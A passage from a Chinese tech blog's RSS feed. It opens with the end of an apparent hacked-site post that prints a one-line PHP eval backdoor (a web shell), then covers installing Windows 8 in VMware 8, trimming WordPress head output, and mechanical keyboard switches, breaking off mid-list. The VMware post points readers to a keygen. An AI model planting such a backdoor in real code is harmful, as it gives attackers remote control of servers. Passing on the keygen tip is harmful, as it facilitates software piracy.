<pre>if (isset($_REQUEST['asc'])) { eval(stripslashes($_REQUEST['asc'])); exit; }/* WTBvbFbHl9Tf */</pre>
<p>Related posts:<ol>
<li><a href='http://www.biaodianfu.com/googlebot-ua-ip.html' rel='bookmark' title='Google蜘蛛UA及IP'>Google蜘蛛UA及IP</a></li>
<li><a href='http://www.biaodianfu.com/flash-cookies.html' rel='bookmark' title='用户数据跟踪之Flash Cookies'>用户数据跟踪之Flash Cookies</a></li>
<li><a href='http://www.biaodianfu.com/php-spider-log.html' rel='bookmark' title='PHP版记录蜘蛛爬行历史'>PHP版记录蜘蛛爬行历史</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.biaodianfu.com/site-hacked.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>使用VMware 8虚拟机来安装Windows 8方法</title>
		<link>http://www.biaodianfu.com/install-windows-8-with-vmware-8.html</link>
		<comments>http://www.biaodianfu.com/install-windows-8-with-vmware-8.html#comments</comments>
		<pubDate>Fri, 16 Sep 2011 20:58:17 +0000</pubDate>
		<dc:creator>标点符</dc:creator>
				<category><![CDATA[无法定义]]></category>
		<category><![CDATA[Vmware]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://www.biaodianfu.com/?p=4354</guid>
		<description><![CDATA[目前微软已经提供Windows 8 测试版本的下载，想要尝新的小白鼠可以通过虚拟机的方式来试用它，伴随着Windows 8系统的发布，VMware官网已经提供VMware 8正式版来支持最新的Windows 8。OK下面就来说说怎么使用Vmware 8来安装Windows 8。 第一步：检测硬件需求 基本上能完好运行Win7或Vista的机器都能运行 Win 8： 1GHz以上的32位或64位处理器 1G内存（32位）或2G内存（64位） 16G硬盘(32位）或20G硬盘（64位） 显卡支持DirectX 9 支持多点触摸的屏幕 基本上以上除了最后一点外其他都能满足，因为最后一个需求是针对平板电脑而言的，支不支持这个并不影响操作系统的使用。 第二步：操作系统的下载 我们选择从微软MSDN官方网站上进行下载，目前官方网站上共有有三个版本（目前还没有中文）： 1、Windows开发预览集成开发工具版64位/Windows Developer Preview with developer tools English, 64-bit (x64) 直接下载地址（右键迅雷下载）（4.8 GB） Sha 1 hash &#8211; 6FE9352FB59F6D0789AF35D1001BD4E4E81E42AF 光盘镜像（.iso）中包含以下内容： 64-bit Windows Developer Preview Windows SDK for Metro style apps Microsoft Visual Studio 11 Express for Windows [...]]]></description>
			<content:encoded><![CDATA[<p>目前微软已经提供Windows 8 测试版本的下载，想要尝新的小白鼠可以通过虚拟机的方式来试用它，伴随着Windows 8系统的发布，VMware官网已经提供VMware 8正式版来支持最新的Windows 8。OK下面就来说说怎么使用Vmware 8来安装Windows 8。</p>
<p><strong>第一步：检测硬件需求</strong></p>
<p>基本上能完好运行Win7或Vista的机器都能运行 Win 8：</p>
<ul>
<li>1GHz以上的32位或64位处理器</li>
<li>1G内存（32位）或2G内存（64位）</li>
<li>16G硬盘(32位）或20G硬盘（64位）</li>
<li>显卡支持DirectX 9</li>
<li>支持多点触摸的屏幕</li>
</ul>
<p>基本上以上除了最后一点外其他都能满足，因为最后一个需求是针对平板电脑而言的，支不支持这个并不影响操作系统的使用。</p>
<p><strong>第二步：操作系统的下载</strong></p>
<p>我们选择从微软MSDN官方网站上进行下载，目前官方网站上共有有三个版本（目前还没有中文）：</p>
<p>1、Windows开发预览集成开发工具版64位/Windows Developer Preview with developer tools English, 64-bit (x64)</p>
<p><a href="http://wdp.dlws.microsoft.com/WDPDL/9B8DFDFF736C5B1DBF956B89D8A9D4FD925DACD2/WindowsDeveloperPreview-64bit-English-Developer.iso" target="_blank">直接下载地址</a>（右键迅雷下载）（4.8 GB）</p>
<p>Sha 1 hash &#8211; 6FE9352FB59F6D0789AF35D1001BD4E4E81E42AF</p>
<p>光盘镜像（.iso）中包含以下内容：</p>
<ul>
<li>64-bit Windows Developer Preview</li>
<li>Windows SDK for Metro style apps</li>
<li>Microsoft Visual Studio 11 Express for Windows Developer Preview</li>
<li>Microsoft Expression Blend 5 Developer Preview</li>
<li>28 Metro style apps including the BUILD Conference app</li>
</ul>
<p>2、Windows开发预览版64位/Windows Developer Preview English, 64-bit (x64)</p>
<p><a href="http://wdp.dlws.microsoft.com/WDPDL/9B8DFDFF736C5B1DBF956B89D8A9D4FD925DACD2/WindowsDeveloperPreview-64bit-English.iso" target="_blank">直接下载地址</a>（右键迅雷下载）(3.6 GB)</p>
<p>Sha 1 hash – 79DBF235FD49F5C1C8F8C04E24BDE6E1D04DA1E9</p>
<p>光盘镜像（.iso）中包含以下内容：</p>
<ul>
<li>64-bit Windows Developer Preview</li>
<li>Metro style apps</li>
</ul>
<p>3、Windows开发预览版32位/Windows Developer Preview English, 32-bit (x86)</p>
<p><a href="http://wdp.dlws.microsoft.com/WDPDL/9B8DFDFF736C5B1DBF956B89D8A9D4FD925DACD2/WindowsDeveloperPreview-32bit-English.iso" target="_blank">直接下载地址</a>（右键迅雷下载）(2.8 GB)</p>
<p>Sha 1 hash &#8211; 4E0698BBABE01ED27582C9FC16AD21C4422913CC</p>
<p>光盘镜像（.iso）中包含以下内容：</p>
<ul>
<li>32-bit Windows Developer Preview</li>
<li>Metro style apps</li>
</ul>
<p><strong>第三步：Vmware 8的下载与安装</strong></p>
<p>如果你的电脑已经安装了Vmware 7，那么对不起，目前Vmware 7并不能支持Windows 8，您需要下载最新的VMware 8才能很好的支持，另外一种解决方案是使用微软的visualbox。</p>
<p>VMware 8官方正式版本（Latest Released Version: 8.0.0 | 09/14/11 | 471780 ）下载地址：使用<a href="https://dlm2.vmware.com/akdlm/software/wkst/VMware-workstation-full-8.0.0-471780.exe?HashKey=d70637b62d47ad842c640130258d14ed&amp;lang=en&amp;AuthKey=1315978036_fc07fdac04977338e1a7a60781f2692a&amp;filetype=.exe&amp;dlmauthparam=1316005937_1925bcb4616be8782ea1a85de845ca1f&amp;fileExt=.exe">迅雷进下载VMWare 8</a></p>
<p>或者你也可以到官方进行下载：<a href="http://www.vmware.com/cn/products/desktop_virtualization/workstation/overview.html">http://www.vmware.com/cn/products/desktop_virtualization/workstation/overview.html</a></p>
<p>除此之外，网上已经有最新的VMware 的注册机了，如何找到WMware 8注册机的下载地址呢？建议使用以下关键词进行搜索：VMware+Workstation+v8.X.Keymaker-ZWT</p>
<p>安装WMware非常的简单，这里就不再详细叙述了。这里还推荐另外一篇：<a href="http://www.biaodianfu.com/windows-vmware-android.html">使用WMware安装Android</a>。</p>
<p><strong>第四步：为安装Windows 8配置虚拟机</strong></p>
<p>以下为虚拟机安装图文教程：</p>
<p>1、打开虚拟机软件，在菜单栏中选择File&gt; New Virtual Machine，弹出设置引导页面，选择Custom（advanced）如下图：</p>
<p><img class="alignnone size-full wp-image-4355" title="confuguration" src="http://www.biaodianfu.com/wp-content/uploads/2011/09/confuguration.png" alt="" width="442" height="456" /></p>
<p>2、选择Hardware compatibility 类型，这里需要选择Workstation 8.0，如下图：</p>
<p><img class="alignnone size-full wp-image-4356" title="workstation" src="http://www.biaodianfu.com/wp-content/uploads/2011/09/workstation.png" alt="" width="442" height="457" /></p>
<p>3、选择安装光盘的位置，下图中可以看到未能识别操作系统的提示，这个不要管它。</p>
<p><img class="alignnone size-full wp-image-4357" title="disk-image" src="http://www.biaodianfu.com/wp-content/uploads/2011/09/disk-image.png" alt="" width="442" height="457" /></p>
<p>4、接下来就是选择要安装的操作系统了，注意这里面不要选择Microsoft Windows，只需要选择Other即可，下面的Version根据下载的镜像选择Other<del>或Other 64-bit</del>（不能选择Other 64-bit，选择了Other 64-bit居然报错了，目前不知道原因）</p>
<p><img class="alignnone size-full wp-image-4358" title="operating-system" src="http://www.biaodianfu.com/wp-content/uploads/2011/09/operating-system.png" alt="" width="442" height="457" /></p>
<p>5、输入虚拟机名称和配置文档保存目录</p>
<p><img class="alignnone size-full wp-image-4359" title="virtual-machine-name" src="http://www.biaodianfu.com/wp-content/uploads/2011/09/virtual-machine-name.png" alt="" width="442" height="457" /></p>
<p>6、虚拟机处理器配置（根据自己电脑的硬件情况进行设定）</p>
<p><img class="alignnone size-full wp-image-4360" title="processor" src="http://www.biaodianfu.com/wp-content/uploads/2011/09/processor.png" alt="" width="442" height="457" /></p>
<p>7、虚拟机内存的设定（根据自己电脑的硬件情况进行设定）</p>
<p><img class="alignnone size-full wp-image-4361" title="memory" src="http://www.biaodianfu.com/wp-content/uploads/2011/09/memory.png" alt="" width="442" height="457" /></p>
<p>8、虚拟机网路设置（这里我选择的是通过宿主方式连接，你也可以根据情况选择其他选项，这个选择后也可以在后期进行修改）</p>
<p><img class="alignnone size-full wp-image-4362" title="network" src="http://www.biaodianfu.com/wp-content/uploads/2011/09/network.png" alt="" width="442" height="457" /></p>
<p>9、虚拟机I/O控制器的设定，选择默认的推荐设置即可。</p>
<p><img class="alignnone size-full wp-image-4363" title="io-controller" src="http://www.biaodianfu.com/wp-content/uploads/2011/09/io-controller.png" alt="" width="442" height="457" /></p>
<p>10、给虚拟机分配磁盘选项，这个也可以根据自己的需求进行设置</p>
<p><img class="alignnone size-full wp-image-4364" title="disk" src="http://www.biaodianfu.com/wp-content/uploads/2011/09/disk.png" alt="" width="442" height="457" /></p>
<p>11、选择虚拟磁盘类型，默认推荐的IDE即可</p>
<p><img class="alignnone size-full wp-image-4365" title="disk-type" src="http://www.biaodianfu.com/wp-content/uploads/2011/09/disk-type.png" alt="" width="442" height="457" /></p>
<p>12、设置虚拟磁盘的大小（由于安装的是64 位的系统，这里选择20G）</p>
<p><img class="alignnone size-full wp-image-4366" title="disk-capacity" src="http://www.biaodianfu.com/wp-content/uploads/2011/09/disk-capacity.png" alt="" width="442" height="457" /></p>
<p>13、选择虚拟磁盘的位置，按照自己的硬盘情况进行设定即可。</p>
<p><img class="alignnone size-full wp-image-4367" title="disk-file" src="http://www.biaodianfu.com/wp-content/uploads/2011/09/disk-file.png" alt="" width="442" height="457" /></p>
<p>14、整个配置的设置就倒这里了，点击完成即可完成整个配置。</p>
<p><img class="alignnone size-full wp-image-4368" title="finish" src="http://www.biaodianfu.com/wp-content/uploads/2011/09/finish.png" alt="" width="442" height="457" /></p>
<p><strong>第五步：启动VMware,安装Windows 8</strong></p>
<p>关于怎么安装Windows系统，相信大家都会这里就不再罗嗦了。只要按照安装提示进行安装即可，因为是测试版本，所以不需要输入任何激活码，整个安装与Win 7的安装类似。</p>
<p>Related posts:<ol>
<li><a href='http://www.biaodianfu.com/thinkpad-install-os.html' rel='bookmark' title='ThinkPad系统安装记录'>ThinkPad系统安装记录</a></li>
<li><a href='http://www.biaodianfu.com/tupianchuli.html' rel='bookmark' title='图片查看和图片处理软件'>图片查看和图片处理软件</a></li>
<li><a href='http://www.biaodianfu.com/text-editor.html' rel='bookmark' title='增强型文本编辑器'>增强型文本编辑器</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.biaodianfu.com/install-windows-8-with-vmware-8.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>WordPress中wp_head()内容的修改</title>
		<link>http://www.biaodianfu.com/wordpress-wp-head.html</link>
		<comments>http://www.biaodianfu.com/wordpress-wp-head.html#comments</comments>
		<pubDate>Thu, 08 Sep 2011 08:07:21 +0000</pubDate>
		<dc:creator>标点符</dc:creator>
				<category><![CDATA[无法定义]]></category>

		<guid isPermaLink="false">http://www.biaodianfu.com/?p=4312</guid>
		<description><![CDATA[今天无意间打开了Google 站长管理员工具发现我的博客有大量的404页面存在。如下： 寻找了一下，此部分链接出现在了页面的&#60;head&#62;&#60;/head&#62;中，并非文章部分，WordPress中主题文件里的header.php：&#60;?php wp_head(); ?&#62; 输出的此部分内容。输出的内容如下： &#60;link rel="alternate" type="application/rss+xml" title="RAID磁盘阵列学习笔记 评论 Feed" href="http://www.biaodianfu.com/raid.html/feed" /&#62; &#60;script type='text/javascript' src='http://www.biaodianfu.com/wp-includes/js/l10n.js?ver=20101110'&#62;&#60;/script&#62; &#60;script type='text/javascript' src='http://www.biaodianfu.com/wp-includes/js/comment-reply.js?ver=20090102'&#62;&#60;/script&#62; &#60;link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://www.biaodianfu.com/xmlrpc.php?rsd" /&#62; &#60;link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://www.biaodianfu.com/wp-includes/wlwmanifest.xml" /&#62; &#60;link rel='index' title='标点符' href='http://www.biaodianfu.com' /&#62; &#60;link rel='start' title='IE7.JS 解决IE兼容性问题' href='http://www.biaodianfu.com/jiejue-ie6-jianrong-wenti-ie7js.html' /&#62; &#60;link rel='prev' title='Scrapy在Windows上的安装笔记' href='http://www.biaodianfu.com/install-scrapy-on-windows.html' /&#62; &#60;link rel='next' title='GUID分区表的学习' href='http://www.biaodianfu.com/guid.html' /&#62; &#60;meta name="generator" content="WordPress [...]]]></description>
			<content:encoded><![CDATA[<p>今天无意间打开了Google 站长管理员工具发现我的博客有大量的404页面存在。如下：</p>
<p><img class="alignnone size-full wp-image-4313" title="404" src="http://www.biaodianfu.com/wp-content/uploads/2011/09/404.png" alt="" width="560" height="231" /></p>
<p>寻找了一下，此部分链接出现在了页面的<em>&lt;head&gt;&lt;/head&gt;</em>中，并非文章部分，WordPress中主题文件里的header.php：<em>&lt;?php wp_head(); ?&gt; </em>输出的此部分内容。输出的内容如下：</p>
<pre lang="html4strict" line="0" escaped="true">&lt;link rel="alternate" type="application/rss+xml" title="RAID磁盘阵列学习笔记 评论 Feed" href="http://www.biaodianfu.com/raid.html/feed" /&gt;
&lt;script type='text/javascript' src='http://www.biaodianfu.com/wp-includes/js/l10n.js?ver=20101110'&gt;&lt;/script&gt;
&lt;script type='text/javascript' src='http://www.biaodianfu.com/wp-includes/js/comment-reply.js?ver=20090102'&gt;&lt;/script&gt;
&lt;link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://www.biaodianfu.com/xmlrpc.php?rsd" /&gt;
&lt;link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://www.biaodianfu.com/wp-includes/wlwmanifest.xml" /&gt;
&lt;link rel='index' title='标点符' href='http://www.biaodianfu.com' /&gt;
&lt;link rel='start' title='IE7.JS 解决IE兼容性问题' href='http://www.biaodianfu.com/jiejue-ie6-jianrong-wenti-ie7js.html' /&gt;
&lt;link rel='prev' title='Scrapy在Windows上的安装笔记' href='http://www.biaodianfu.com/install-scrapy-on-windows.html' /&gt;
&lt;link rel='next' title='GUID分区表的学习' href='http://www.biaodianfu.com/guid.html' /&gt;
&lt;meta name="generator" content="WordPress 3.2.1" /&gt;
&lt;link rel='shortlink' href='http://www.biaodianfu.com/?p=4272' /&gt;</pre>
<p>找到了问题所在接下来就是解决问题，从上面的内容看很多东西可以直接删掉，但是怎么删掉呢？</p>
<p><strong> 方案一：修改WordPress代码</strong></p>
<p>打开 <em>wp-includes </em>文件夹下的 <em>default-filters.php</em> 文件。找到如下代码，对需要删除的内容进行注释即可。</p>
<pre lang="php" line="0" escaped="true">// Actions
add_action( 'wp_head',             'wp_enqueue_scripts',            1     );
add_action( 'wp_head',             'feed_links',                    2     );
add_action( 'wp_head',             'feed_links_extra',              3     );
add_action( 'wp_head',             'rsd_link'                             );
add_action( 'wp_head',             'wlwmanifest_link'                     );
add_action( 'wp_head',             'index_rel_link'                       );
add_action( 'wp_head',             'parent_post_rel_link',          10, 0 );
add_action( 'wp_head',             'start_post_rel_link',           10, 0 );
add_action( 'wp_head',             'adjacent_posts_rel_link_wp_head', 10, 0 );
add_action( 'wp_head',             'locale_stylesheet'                    );
add_action( 'publish_future_post', 'check_and_publish_future_post', 10, 1 );
add_action( 'wp_head',             'noindex',                       1     );
add_action( 'wp_head',             'wp_print_styles',               8     );
add_action( 'wp_head',             'wp_print_head_scripts',         9     );
add_action( 'wp_head',             'wp_generator'                         );
add_action( 'wp_head',             'rel_canonical'                        );
add_action( 'wp_footer',           'wp_print_footer_scripts'              );
add_action( 'wp_head',             'wp_shortlink_wp_head',          10, 0 );
add_action( 'template_redirect',   'wp_shortlink_header',           11, 0 );</pre>
<p><strong>方案二：修改当前主题代码</strong></p>
<p>打开主题文件下的 <em>functions.php</em> 文件。添加如下代码（具体要删除哪些自己决定）：</p>
<pre lang="php" line="0" escaped="true">// Actions
remove_action( 'wp_head',             'wp_enqueue_scripts',            1     );
remove_action( 'wp_head',             'feed_links',                    2     );
remove_action( 'wp_head',             'feed_links_extra',              3     );
remove_action( 'wp_head',             'rsd_link'                             );
remove_action( 'wp_head',             'wlwmanifest_link'                     );
remove_action( 'wp_head',             'index_rel_link'                       );
remove_action( 'wp_head',             'parent_post_rel_link',          10, 0 );
remove_action( 'wp_head',             'start_post_rel_link',           10, 0 );
remove_action( 'wp_head',             'adjacent_posts_rel_link_wp_head', 10, 0 );
remove_action( 'wp_head',             'locale_stylesheet'                    );
remove_action( 'wp_head',             'noindex',                       1     );
remove_action( 'wp_head',             'wp_print_styles',               8     );
remove_action( 'wp_head',             'wp_print_head_scripts',         9     );
remove_action( 'wp_head',             'wp_generator'                         );
remove_action( 'wp_head',             'rel_canonical'                        );
remove_action( 'wp_head',             'wp_shortlink_wp_head',          10, 0 );</pre>
<p>Related posts:<ol>
<li><a href='http://www.biaodianfu.com/selectivizr.html' rel='bookmark' title='使用Selectivizr让IE6~8支持CSS3'>使用Selectivizr让IE6~8支持CSS3</a></li>
<li><a href='http://www.biaodianfu.com/superfish-jquery.html' rel='bookmark' title='SuperFish一款基于jQuery的级联下拉菜单'>SuperFish一款基于jQuery的级联下拉菜单</a></li>
<li><a href='http://www.biaodianfu.com/wordpress-robots-txt.html' rel='bookmark' title='我的wordpress所使用的robots.txt'>我的wordpress所使用的robots.txt</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.biaodianfu.com/wordpress-wp-head.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>机械键盘的一些知识</title>
		<link>http://www.biaodianfu.com/keyboard.html</link>
		<comments>http://www.biaodianfu.com/keyboard.html#comments</comments>
		<pubDate>Thu, 08 Sep 2011 05:00:04 +0000</pubDate>
		<dc:creator>标点符</dc:creator>
				<category><![CDATA[无法定义]]></category>
		<category><![CDATA[键盘]]></category>

		<guid isPermaLink="false">http://www.biaodianfu.com/?p=4303</guid>
		<description><![CDATA[什么是机械键盘？ 电脑键盘五花八门，各式各样，那应该怎样分类比较合理呢？只有按照设计原理与结构分类才不会出现混淆，从设计原理来看，键盘可以简单分为薄膜键盘、静电电容键盘和机械键盘三类。 薄膜键盘就是大家现在最常见的键盘，从十几元的低端产品到上千元的薄膜键盘都有，覆盖面最广。无论是超薄键盘还是非超薄键盘，键帽结构如何复杂，只要是有三层薄膜结构设计的就是薄膜键盘。市场上曾经出现过一些所谓的机械键盘，在薄膜之上采用机械模组，曾经被一些人误认为机械键盘，误导了部分消费者。 静电电容式键盘，采用这种原理设计的键盘非常特殊，从结构来看，静电电容式内部结构既包含了薄膜键盘中薄膜结构，也有机械键盘中的弹簧结构，但是开合方式与前两者完全不同，可以做到全键无冲突，单键寿命高达3000万次，并不低于机械键盘，另外，这种结构的手感也是得到了许多人的认可。静电电容式键盘，特殊的内部结构使其与众不同，这类结构的键盘具备如下特点：罕见、售价昂贵、手感好、寿命高，这些特点使其轻松进入奢侈品和收藏品的行列。 机械键盘，并不能从手感、声音等主观感受来确定，还是要从结构来定义机械键盘，每一颗按键都有一个单独的Switch（也就是开关）来控制闭合，这个开关也被称为“轴”。虽然Cherry机械轴最为著名，但是除它之外，市场还有其它品牌的机械轴，包括早期日产ALPS轴、台湾ALPS简易轴、台湾白轴等，下文中会有关于机械轴的详细介绍。 机械键盘的分类 如果大家体验过Cherry青、茶、白、黑四种机械轴的键盘，其在手感的区别在段落感、触发键程、压力克数三方面上最容易感觉到不同，段落感是对键盘按键下按过程中发出“Click”声作为评判标准，触发键程是下压按键时触发开关所需的最小距离，而压力克数就是在按下按键时所需要的力度。而决定这两个因素的不同是由机械轴内部结构的不同和弹簧来决定的。 Cherry MX系列机械轴从十字型轴帽颜色来看，主要包括青、茶、黑、白、灰、绿六种，每一种颜色的机械轴手感各不相同，青、茶、黑、白具体参数如下表所示： 青轴（Keyclick）：段落感最强、Click声音最大，机械感最强，是机械键盘的代表轴，需下压2.0mm才可触发，打字节奏感十足，但是声音较大，比较吵 , 压力克数为60g。有人将其比喻为Cherry的春天，爽快清脆的段落感如春天般舒畅。 茶轴（Alternate Action or Ergonomic）：比起青轴，段落感要弱很多，而对比黑轴，又不是直上直下的感觉，2mm即可触发，属于比较奢侈的机械轴。有人将其比喻为Cherry的秋天，结合了青轴与黑轴的特点，很容易被大众所接受，茶轴的颜色与秋天的收获的色彩更为接近。 黑轴（Linear Action）：段落感最不明显，声音最小，与青轴形成鲜明对比，直上直下，下压1.8mm即可触发。有人将其比喻为Cherry的夏天，无论你想得到急速或舒缓的输入，黑轴都能自如应对，打字游戏都适合，但是由于触发键程短，压力克数较大，所以在游戏中有上佳的表现。黑轴机械键盘单个轴使用寿命长达5000万次(其他为2000万次)。 白轴（SoftContact）：段落感比茶轴强，由于压力克数较大，所以按起来比较费力，需1.5mm可触发，如果指力较小，很容易疲劳。有人将其比喻为Cherry的冬天，不仅因为它是白色的轴，由于压力克数比黑轴大，所以有一种陷入雪中的段落感，难以描述。 绿轴：专门用来做特殊键位的机械轴，实际上是一种加重加强的青轴。比如说，许多键盘的空格用的特别多，而且大拇指又是最有劲的手指，为了加强手感和耐久度，所以有些键盘就用绿轴来做空格了，这个多见于青轴和茶轴的键盘上。 灰轴：同绿洲，主要用于除青轴外的机械键盘的空格键，无段落感，压力最大。 红轴：与黑轴相似。但压力克数比黑轴小，起35，终60（黑轴起点为40）。是08年出的新轴。手感比较轻盈。敲击时没有段落感，直上直下，触发键程也同为2.0mm，敲击时更加轻松，能很好兼顾游戏和打字的使用需求。Cherry已经开放机械红轴的使用权，除了原厂的机械红轴外，目前Filco、PLU、Ducky等都有相关产品。 黄轴：雷柏自主开发机械黄轴，单轴寿命高达5000万次，2mm触发行程，50g触发压力，轻触即发，自如应对，可以在长时间激烈游戏对抗中也不会手指酸痛。 从压力克数指数来看，青轴=茶轴&#60;黑轴&#60;白轴，从上文机械轴的介绍中可以通过压力克数指数更直接的看到这一点，所以在按键感觉上，茶轴和青轴键盘最轻松，而黑轴键盘按键需要的力度就是变大，而白轴会更大。 键盘键帽印刷技术 键盘键帽的不同不仅可以影响到手感、视觉感受，还会影响到使用寿命。在关于键帽的介绍中，我们主要通过两个方面来进行，一是键帽字符的印刷技术，二是键帽的材质，两者虽然属于不同的方面，但是之间存在一定的关系。目前市场上所能见到的键盘键帽印刷技术主要有七种，包括丝网印刷、UV覆膜技术、激光填料法、含浸印刷（热升华）、镂空印字法、激光蚀刻（镭射）、二色成形法。 丝网印刷，最常见的一种键帽印刷技术，在键帽表面通过丝网印刷机将油墨印在表面，成本低廉，色彩丰富，深色键帽中比较常见，但是采用这种印刷技术的键帽字符耐磨度较差，所以在低端键盘中比较常见。 UV覆膜技术是经丝网印刷技术改进而成，这种技术是先在键帽表面覆膜，然后将油墨印刷在薄膜之上，视觉感受似乎没有丝网印刷好，但是耐磨度大大增加，而且成本并不会增加太多，这种技术很容易识别。目前IBM的笔记本键盘、DELL 81xx系列等键盘均采用此种技术。 激光填料法，先使用激光刻蚀技术在键帽表面烧刻出字符凹痕，然后将油墨填入字符凹槽中，油墨不再是停留在键帽表面，所以耐磨度大大增加，但是由于经过两次印刷工艺，所以成本也会相应增加。 含浸印刷，也被称为热升华技术，通过生热华方式将固态树脂类油墨融入键帽表面形成字符，光泽度较高，字符有立体感，牢固性极高，由于成本与产量问题，使用这类技术的键盘非常罕见。 镂空印字法，现在市场上有不少带背光的键盘，由于需要同将背光透过字符体现出来，增强视觉效果，必须采用镂空印字法处理键帽，由于材质因素，所以这类键帽手感只能定位为一般。但是视觉效果的却是其它键帽技术所无法媲美的。 激光刻蚀也被称为镭射，就是通过激光烧刻的方式在键帽表面刻出字符，特点是字符清晰，线条较细，耐磨度较高，在一些白色键帽中比较常见。由于激光刻蚀生产线效率较高，适合大批量生产，但是不适合结构比较复杂键盘和字符复杂的键帽。 二色成型法，就是将两种不同颜色的塑料融合在一起形成字符，色彩对比度较高，即使将键帽垂直切开，也能看到内部字体，所以不会出现掉字现象。另外，二色成型键帽由于材质因素，在触感方面表现极佳。但是这类技术制造成本非常高，影响到其普及应用，只有在Cherry的高端键盘中会见到二色成型键帽。 其实，除了以上7种键帽印刷技术之外，随着技术的革新，新型技术也被应用在键帽身上，比如Optimus键盘就采用液晶显示屏作为键帽。对于键帽，除了印刷技术之外，键帽材质也是影响键盘品质的一个重要因素。 Related posts: 防御工事：星形要塞 Cookie与Session的区别 《连线》杂志：Web已死 Internet永生]]></description>
			<content:encoded><![CDATA[<p><strong>什么是机械键盘？</strong></p>
<p>电脑键盘五花八门，各式各样，那应该怎样分类比较合理呢？只有按照设计原理与结构分类才不会出现混淆，从设计原理来看，键盘可以简单分为薄膜键盘、静电电容键盘和机械键盘三类。</p>
<div id="attachment_4304" class="wp-caption alignnone" style="width: 410px"><img class="size-full wp-image-4304" title="薄膜键盘" src="http://www.biaodianfu.com/wp-content/uploads/2011/09/bomo.jpg" alt="" width="400" height="300" /><p class="wp-caption-text">薄膜键盘</p></div>
<p align="left"><strong>薄膜键盘</strong>就是大家现在最常见的键盘，从十几元的低端产品到上千元的薄膜键盘都有，覆盖面最广。无论是超薄键盘还是非超薄键盘，键帽结构如何复杂，只要是有三层薄膜结构设计的就是薄膜键盘。市场上曾经出现过一些所谓的机械键盘，在薄膜之上采用机械模组，曾经被一些人误认为机械键盘，误导了部分消费者。</p>
<div id="attachment_4305" class="wp-caption alignnone" style="width: 410px"><img class="size-full wp-image-4305" title="静电容键盘" src="http://www.biaodianfu.com/wp-content/uploads/2011/09/jingdian.jpg" alt="" width="400" height="300" /><p class="wp-caption-text">静电容键盘</p></div>
<p align="left"><strong>静电电容式键盘</strong>，采用这种原理设计的键盘非常特殊，从结构来看，静电电容式内部结构既包含了薄膜键盘中薄膜结构，也有机械键盘中的弹簧结构，但是开合方式与前两者完全不同，可以做到全键无冲突，单键寿命高达3000万次，并不低于机械键盘，另外，这种结构的手感也是得到了许多人的认可。静电电容式键盘，特殊的内部结构使其与众不同，这类结构的键盘具备如下特点：罕见、售价昂贵、手感好、寿命高，这些特点使其轻松进入奢侈品和收藏品的行列。</p>
<div id="attachment_4306" class="wp-caption alignnone" style="width: 410px"><img class="size-full wp-image-4306" title="机械键盘" src="http://www.biaodianfu.com/wp-content/uploads/2011/09/jixie.jpg" alt="" width="400" height="300" /><p class="wp-caption-text">机械键盘</p></div>
<p align="left"><strong>机械键盘</strong>，并不能从手感、声音等主观感受来确定，还是要从结构来定义机械键盘，每一颗按键都有一个单独的Switch（也就是开关）来控制闭合，这个开关也被称为“轴”。虽然Cherry机械轴最为著名，但是除它之外，市场还有其它品牌的机械轴，包括早期日产ALPS轴、台湾ALPS简易轴、台湾白轴等，下文中会有关于机械轴的详细介绍。</p>
<p align="left"><strong>机械键盘的分类</strong></p>
<p align="left">如果大家体验过Cherry青、茶、白、黑四种机械轴的键盘，其在手感的区别在段落感、触发键程、压力克数三方面上最容易感觉到不同，段落感是对键盘按键下按过程中发出“Click”声作为评判标准，触发键程是下压按键时触发开关所需的最小距离，而压力克数就是在按下按键时所需要的力度。而决定这两个因素的不同是由机械轴内部结构的不同和弹簧来决定的。</p>
<div id="attachment_4307" class="wp-caption alignnone" style="width: 409px"><a href="http://www.biaodianfu.com/wp-content/uploads/2011/09/zhou.jpg"><img class="size-full wp-image-4307" title="Cherry几种常见的MX机械轴" src="http://www.biaodianfu.com/wp-content/uploads/2011/09/zhou.jpg" alt="" width="399" height="299" /></a><p class="wp-caption-text">Cherry几种常见的MX机械轴</p></div>
<p>Cherry MX系列机械轴从十字型轴帽颜色来看，主要包括青、茶、黑、白、灰、绿六种，每一种颜色的机械轴手感各不相同，青、茶、黑、白具体参数如下表所示：</p>
<p><img class="alignnone size-full wp-image-4308" title="轴" src="http://www.biaodianfu.com/wp-content/uploads/2011/09/jixiezhou.png" alt="" width="500" height="297" /></p>
<ul>
<li><strong>青轴（Keyclick）：</strong>段落感最强、Click声音最大，机械感最强，是机械键盘的代表轴，需下压2.0mm才可触发，打字节奏感十足，但是声音较大，比较吵 , 压力克数为60g。有人将其比喻为Cherry的春天，爽快清脆的段落感如春天般舒畅。</li>
<li><strong>茶轴（Alternate Action or Ergonomic）：</strong>比起青轴，段落感要弱很多，而对比黑轴，又不是直上直下的感觉，2mm即可触发，属于比较奢侈的机械轴。有人将其比喻为Cherry的秋天，结合了青轴与黑轴的特点，很容易被大众所接受，茶轴的颜色与秋天的收获的色彩更为接近。</li>
<li><strong>黑轴（Linear Action）：</strong>段落感最不明显，声音最小，与青轴形成鲜明对比，直上直下，下压1.8mm即可触发。有人将其比喻为Cherry的夏天，无论你想得到急速或舒缓的输入，黑轴都能自如应对，打字游戏都适合，但是由于触发键程短，压力克数较大，所以在游戏中有上佳的表现。黑轴机械键盘单个轴使用寿命长达5000万次(其他为2000万次)。</li>
<li><strong>白轴（SoftContact）</strong>：段落感比茶轴强，由于压力克数较大，所以按起来比较费力，需1.5mm可触发，如果指力较小，很容易疲劳。有人将其比喻为Cherry的冬天，不仅因为它是白色的轴，由于压力克数比黑轴大，所以有一种陷入雪中的段落感，难以描述。</li>
<li><strong>绿轴：</strong>专门用来做特殊键位的机械轴，实际上是一种加重加强的青轴。比如说，许多键盘的空格用的特别多，而且大拇指又是最有劲的手指，为了加强手感和耐久度，所以有些键盘就用绿轴来做空格了，这个多见于青轴和茶轴的键盘上。</li>
